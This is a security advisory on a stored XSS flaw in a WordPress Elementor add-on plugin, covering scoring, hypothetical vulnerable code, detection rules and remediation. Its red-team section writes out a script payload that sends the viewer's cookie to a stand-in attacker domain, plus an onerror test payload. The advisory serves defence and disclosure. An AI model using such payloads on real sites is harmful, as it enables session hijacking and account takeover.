CVE-2025-54050

Executive Summary

CVE-2025-54050 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Responsive Addons for Elementor by CyberChimps, affecting versions up to and including 1.7.3. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject malicious scripts into web pages generated by the plugin. When a site administrator or other user views the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of user-supplied input during web page generation. As of this report, no official patch has been released, and no public proof-of-concept (PoC) code is available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress dashboard or directly from the repository are at risk. The plugin is not distributed via NPM, PyPI, Go, or Ruby ecosystems. The lack of a patch increases the risk of supply chain compromise if the plugin is used in a multi-site environment or as part of a larger WordPress deployment.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) – The attacker needs contributor-level access to the WordPress site.
• User Interaction (UI): Required (R) – A user with higher privileges (e.g., admin) must view the compromised page.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited information disclosure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. The requirement for authenticated access and user interaction reduces the immediate risk, but the stored nature of the XSS means that once injected, the payload persists until manually removed.

Deep Dive & Mechanics

The vulnerability exists in the responsive-addons-for-elementor plugin, which extends the Elementor page builder for WordPress. The plugin likely fails to properly sanitize or escape user input when rendering Elementor widgets or custom fields. An attacker with contributor-level access can inject malicious JavaScript into a post or page via a vulnerable input field (e.g., a text field, URL parameter, or widget setting). When the page is saved and later viewed by an administrator, the injected script executes in the context of the administrator's session.

The core issue is a lack of output escaping or input validation in the plugin's rendering functions. For example, if the plugin uses echo $some_user_input; without applying esc_html() or wp_kses_post(), an attacker can inject <script>alert('XSS')</script> or more sophisticated payloads.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the vulnerable code pattern. A typical vulnerable snippet might look like:

// Vulnerable code (hypothetical)
function render_widget($atts) {
    $title = $atts['title'];
    echo "<h2>" . $title . "</h2>"; // No escaping
}

A patched version would use proper escaping:

// Patched code (hypothetical)
function render_widget($atts) {
    $title = esc_html($atts['title']);
    echo "<h2>" . $title . "</h2>";
}

The actual vulnerable code is in the plugin's source, likely in files handling Elementor widget output. Without a patch, users must manually apply input validation and output escaping.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress instance with the Responsive Addons for Elementor plugin (version <= 1.7.3) installed and activated.
• An attacker account with contributor-level privileges.

Steps:

1. Log in to WordPress as a contributor.
2. Create a new post or page using Elementor.
3. Add a widget from the Responsive Addons for Elementor that accepts user input (e.g., a heading, text block, or custom field).
4. In the input field, inject a JavaScript payload such as:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save and publish the post.
6. Wait for an administrator to view the post. The script executes, sending the admin's session cookie to the attacker's server.

Alternative Payload:

<img src=x onerror="alert('XSS')">

Blue Team

Detection:

• Monitor WordPress logs for suspicious post content containing <script> tags or event handlers.
• Use a Web Application Firewall (WAF) to block common XSS patterns.
• Regularly scan the WordPress database for malicious payloads using tools like Wordfence or Sucuri.

Mitigation:

• Disable the plugin until a patch is released.
• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File Hashes (SHA-256): (None available, but users can compute hashes of the plugin files for baseline comparison)
• Network Indicators:
  • Outbound connections to unknown domains from the WordPress server.
  • HTTP requests containing document.cookie or fetch in the body.
• Database Indicators:
  • Posts or pages containing <script> tags or onerror/onload attributes in the post_content field.
• Log Indicators:
  • WordPress debug logs showing unexpected output in plugin rendering.

Detection Engineering

YARA Rule

rule Detect_Responsive_Addons_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting CVE-2025-54050 in WordPress posts"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54050"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/is
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS via Responsive Addons for Elementor
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS payloads in WordPress posts created with the vulnerable plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: /wp-admin/post.php
        http.body|contains: 
            - '<script>'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts by administrators
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54050 Stored XSS Payload in WordPress Post"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by CyberChimps.
2. Review all posts and pages created by contributors for malicious content. Use a database query to find posts containing <script> tags:

   SELECT ID, post_title FROM wp_posts WHERE post_content LIKE '%<script>%';
   

3. Change all WordPress admin passwords and invalidate existing sessions.

Long-term Mitigation:

• Implement a Web Application Firewall (WAF) with XSS filtering rules.
• Enforce the principle of least privilege: only grant contributor access to trusted users.
• Regularly update all WordPress plugins and themes.
• Monitor the CyberChimps support forum for patch announcements.

Workaround:

• If the plugin cannot be disabled, manually patch the vulnerable files by adding output escaping functions (e.g., esc_html(), wp_kses_post()) to all user input rendering points.

Valters IT
Securing Digital Frontiers